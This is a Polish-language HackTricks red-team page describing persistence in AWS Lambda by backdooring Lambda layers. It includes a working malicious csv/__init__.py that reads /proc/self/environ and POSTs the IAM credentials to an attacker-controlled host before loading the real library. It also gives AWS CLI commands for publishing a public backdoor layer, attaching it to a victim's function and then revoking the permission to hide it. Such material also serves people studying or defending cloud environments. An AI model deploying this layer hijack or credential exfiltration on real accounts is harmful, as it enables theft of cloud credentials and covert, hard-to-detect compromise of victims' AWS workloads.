AWS - Lambda Layers Persistence

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Warstwy Lambda

Warstwa Lambda to archiwum plików .zip, które może zawierać dodatkowy kod lub inne treści. Warstwa może zawierać biblioteki, niestandardowy środowisko uruchomieniowe, dane lub pliki konfiguracyjne.

Można dołączyć do pięciu warstw na funkcję. Gdy dołączysz warstwę do funkcji, zawartość jest wypakowywana do katalogu /opt w środowisku wykonawczym.

Domyślnie warstwy, które tworzysz, są prywatne dla twojego konta AWS. Możesz wybrać, aby udostępnić warstwę innym kontom lub udostępnić warstwę publicznie. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu uprawnienia do dostępu do warstwy. Nie można jednak utworzyć nowej funkcji ani aktualizować funkcji przy użyciu usuniętej wersji warstwy.

Funkcje wdrożone jako obraz kontenerowy nie korzystają z warstw. Zamiast tego pakujesz preferowane środowisko uruchomieniowe, biblioteki i inne zależności do obrazu kontenerowego podczas budowania obrazu.

Ścieżka ładowania Pythona

Ścieżka ładowania, którą Python użyje w lambdzie, jest następująca:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Sprawdź, jak drugi i trzeci pozycje są zajmowane przez katalogi, w których warstwy lambdy rozpakowują swoje pliki: /opt/python/lib/python3.9/site-packages i /opt/python

Jeśli atakujący zdoła wstawić używaną warstwę lambdy lub dodać taką, która będzie wykonywać arbitralny kod podczas ładowania wspólnej biblioteki, będzie mógł wykonać złośliwy kod przy każdym wywołaniu lambdy.

Dlatego wymagane są:

  • Sprawdź biblioteki, które są ładowane przez kod ofiary

  • Utwórz bibliotekę proxy z warstwami lambdy, która będzie wykonywać niestandardowy kod i ładować oryginalną bibliotekę.

Wstępnie załadowane biblioteki

Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są już załadowane w czasie wykonania kodu w pythonie. Spodziewałem się znaleźć rzeczy takie jak os lub sys, ale nawet biblioteka json była załadowana. Aby nadużyć tej techniki trwałego dostępu, kod musi załadować nową bibliotekę, która nie jest załadowana podczas wykonywania kodu.

Z pomocą takiego kodu w pythonie można uzyskać listę bibliotek, które są wstępnie załadowane w czasie wykonania pythona w lambdzie:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

A to jest lista (sprawdź, czy biblioteki takie jak os lub json są już tam)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Oto lista bibliotek, które są domyślnie zainstalowane w lambdzie: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3]

Infekowanie warstw Lambdy

W tym przykładzie załóżmy, że docelowy kod importuje csv. Zamierzamy zainfekować import biblioteki csv.

Aby to zrobić, utworzymy katalog csv z plikiem __init__.py w ścieżce wczytywanej przez lambdę: /opt/python/lib/python3.9/site-packages Następnie, gdy lambda zostanie wykonana i spróbuje załadować csv, nasz plik __init__.py zostanie załadowany i wykonany. Ten plik musi:

  • Wykonać nasz ładunek

  • Załadować oryginalną bibliotekę csv

Możemy to zrobić za pomocą:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Następnie utwórz archiwum zip z tym kodem w ścieżce python/lib/python3.9/site-packages/__init__.py i dodaj go jako warstwę lambdy.

Kod można znaleźć tutaj

Zintegrowany ładunek wyśle dane uwierzytelniające IAM do serwera PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambdy (zmiana kodu lub zimna lambda), ale inne techniki takie jak poniższe mogą również zostać zintegrowane:

Zewnętrzne warstwy

Zauważ, że można używać warstw lambdy z zewnętrznych kont. Ponadto, lambda może używać warstwy z zewnętrznego konta nawet jeśli nie ma uprawnień. Zauważ również, że maksymalna liczba warstw, jakie może mieć lambda, to 5.

Dlatego, aby zwiększyć wszechstronność tej techniki, atakujący mógłby:

  • Zainfekować istniejącą warstwę użytkownika (nic nie jest zewnętrzne)

  • Utworzyć warstwę w swoim koncie, dać dostęp kontu ofiary do użycia warstwy, skonfigurować warstwę w lambdzie ofiary i usunąć uprawnienia.

  • Lambda nadal będzie mogła używać warstwy, a ofiara nie będzie miała łatwego sposobu na pobranie kodu warstwy (oprócz uzyskania powłoki rev wewnątrz lambdy)

  • Ofiara nie zobaczy zewnętrznych warstw używanych z aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated